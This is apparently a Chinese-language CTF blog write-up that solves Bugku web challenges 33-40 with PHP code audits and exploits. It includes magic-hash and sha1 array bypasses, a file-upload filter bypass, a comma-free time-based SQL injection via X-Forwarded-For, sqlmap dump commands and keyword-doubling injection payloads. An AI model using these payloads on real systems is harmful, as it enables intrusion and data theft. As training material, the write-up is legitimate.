bugku web题 33-40 wp
md5 collision
要求input a,题目提示很清楚了。
利用php的特性:
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
0e开头的MD5汇总
payload:?a=s878926199a
各种绕过
php审计:
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {if ($_GET['uname'] == $_POST['passwd'])print 'passwd can not be uname.';else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))die('Flag: '.$flag);elseprint 'sorry!';
}
?>
要求:
$_GET['uname'] != $_POST['passwd']
sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin')
sha1函数漏洞:
sha1()函数无法处理数组类型,将报错并返回NULL
构造:
uname[]=a;
passwd[]=b;
id=margin;
得到flag
web8
hint:txt??!
审计:
<?php
extract($_GET); //extract() 函数从数组中将变量导入到当前的符号表。
if (!empty($ac))
{
$f = trim(file_get_contents($fn));//trim()去除字符串首尾处的空白字符(或者其他字符)
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
要求:
extract($_GET)
$f = trim(file_get_contents($fn))
$ac === $f
提示有txt文件,经尝试发现:flag.txt
内容为:flags
构造payload:
http://120.24.86.145:8002/web8/?ac=flags&fn=flag.txt
得到flag
细心
hint:想办法变成admin
打开页面如下:
没有任何线索。最后在robot.txt下发现如下内容:
User-agent: *
Disallow: /resusl.php
robot.txt是网站爬虫规则的描述,相关自行百度。
打开result.php:
payload:
http://120.24.86.145:8002/web13/resusl.php?x=admin
额,鬼知道他这个密码是哪来的,就当是撞默认密码吧。或者用字典爆破。
求getshell
先说解法:
上传1.php.jpg
用burp抓包,找到content-type字段:
Content-Type: multipart/form-data; boundary=---------------------------146043902153
修改 multipart/form-data
的大小写,
最后将文件后缀改为 .php5
,提交得到flag。
这题我还没弄明白
网上说这题是后缀名黑名单检测和类型检测
php别名:php2, php3, php4, php5, phps, pht, phtm, phtml(只有php5没被过滤)
至于为什么修改content-Type大小写可以绕过,我还没搞懂。
Http Header里的Content-Type
INSERT INTO注入
给出代码如下:
error_reporting(0);function getIp(){$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
/************获取IP*************************************/$ip_arr = explode(',', $ip);//过滤逗号
return $ip_arr[0];}$host="localhost";
$user="";
$pass="";
$db="";$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");mysql_select_db($db) or die("Unable to select database");$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
可以看到,这是X-Forwarded-For
的注入,而且过滤了逗号,
。在过滤了逗号的情况下,我们就不能使用if语句了,在mysql中与if有相同功效的就是:
select case when 语句1 then 语句1 else 语句1 end;
当语句1为真,执行语句2,否则执行语句3
而且由于逗号,被过滤,我们就不能使用substr
、substring
了,但我们可以使用:from 1 for 1
,所以最终我们的payload如下:
127.0.0.1'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))-- +
脚本之后补上。
这是一个神奇的登陆框
打开页面显示一个登陆框:
测试语句:' " / \ | )
报错,这意味着该页面无法处理某些特殊字符,可能存在注入。
分析报错语句得到变量由"
包裹。
测试语句:admin_name=" or 1=1#&admin_passwd=&submit=GO GO GO
爆出用户名字段,存在注入。
丢进sqlmap:
因为是post请求,用burp抓包保存请求头文件bugku.txt
爆数据库:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name --dbs
爆表名:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 --tables
爆字段名:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 -T flag1 --columns
获取数据:python sqlmap.py -r "C:\Users\horyit\Desktop\杂项\bugku.txt" -p admin_name -D bugkusql1 -T flag1 -C --dump
ps:爆字段名是出现问题,手注显示错误Got error 28 from storage engine
,百度无果,感觉是题出了问题。但做题的逻辑应该就是这样。
flag:flag{ed6b28e684817d9efcaf802979e57aea}
多次
经测试:单引号报错,加注释返回正常,有过滤。
判断过滤:异或注入(同假异真),过滤了union,select,or(注意order里面有or,这是个坑),and
关于异或注入
尝试绕过:重写 如:union –>uniunionon
发现可以绕过
payload:http://120.24.86.145:9004/1ndex.php?id=1' uniounionn selecselectt 1,2%23
之后就是常规操作。
出了一点问题,之后补上。
bugku web题 33-40 wp相关推荐
- CTF Web题 部分WP
1.web2 听说聪明的人都能找到答案 http://123.206.87.240:8002/web2/ CTRL + u 查看源代码 2.计算器 http://123.206.87.240:8002 ...
- 论剑场中部分web题的WP
好久不更,最近在学习ctf,今天更一波new bugctf论剑场中部分web题的WP,有一部分是借鉴大佬的博客! web25 有一个输入框,一个下载链接,随便输入显示wrong!,下载链接进去后转ht ...
- [GDG CTF 2022] 几个小题,等WP
pwn-counter 作出来的基本都是入门题,这题给了源码,有3个功能1是counter++,2是counter--,但到1就不再减,3是给flag但要求counter==0.由于counter是字 ...
- bugku CTF题
web题 矛盾: !is_numeric()函数: 用于检测变量是否为数字或数字字符串 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE 需要num不为数字字符串或者数字,但nu ...
- 第十届极客大挑战——部分web和RE的WP
第十届极客大挑战--部分web和RE的WP 昨天刚刚搞完湖湘杯和软考,累的一批,,,,湖湘杯的wp就不写了,写写这个wp 这个好像是一个月之前就开始的,打了一个月,不断的放题,题也做了不少,,, 其他 ...
- Bugku—web题解
前言:最近做了一些Bugku入门的web题目,感觉web题挺有趣的,并非是得出flag,而是可以通过一个题目学习到很多知识. 域名解析 题目说把 flag.baidu.com 解析到123.206.8 ...
- Bugku—web(一)
前言: 最近做了几个bugku的web题,感觉挺有意思的,学到了不少东西:顺便总结下.(= ̄ω ̄=) 1.你必须让他停下: 打开链接,发现有个一直在闪的页面,时不时还会出现张图片:这是用了 js的se ...
- [Bugku][Web][CTF] 9-15 write up
[说明] 整合资源 简略版本2020Bugku write up Bugku Web第九题 关键字 :/?args=GLOBALS PHP 将所有全局变量存储在一个名为 $GLOBALS[index] ...
- 攻防世界Web题 - unseping 总结
攻防世界Web题 - unseping 总结 1.审题 进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...
最新文章
- 在ChemDraw中如何使用ChemACX
- 1、VGG16 2、VGG19 3、ResNet50 4、Inception V3 5、Xception介绍——迁移学习
- Stata 17 for Win 最新中文附详细安装教程
- Scrapy-Link Extractors(链接提取器)
- linux帆软内存设置,修改FineReport配置参数
- Python趣味编程3则:李白买酒、猴子吃桃、宝塔上的琉璃灯
- 微信小程序点击事件传递参数
- Java合并两个有序链表
- 游戏网站运营文章——原神七七介绍
- 第十四、十五周新总结
- X-Header在七号信令中如何使用 1
- Rust语言Ownership,Reference和Lifetime详解
- 传奇3服务器配置文件,传奇3.0服务器的架设和设置详细介绍
- MAC下虚拟机PD转换成win上可以用的vmware
- dst发育筛查有意义吗_Dst发育筛查是什么?
- [BZOJ2754][SCOI2012]喵星球上的点名 后缀数组
- 京瓷1800打印机扫描步骤_京瓷1800操作指南
- opencv学习笔记(2017年8月21日)之图像腐蚀操作
- IGT 2013校园招聘 笔试题
- Shell中的美元符号$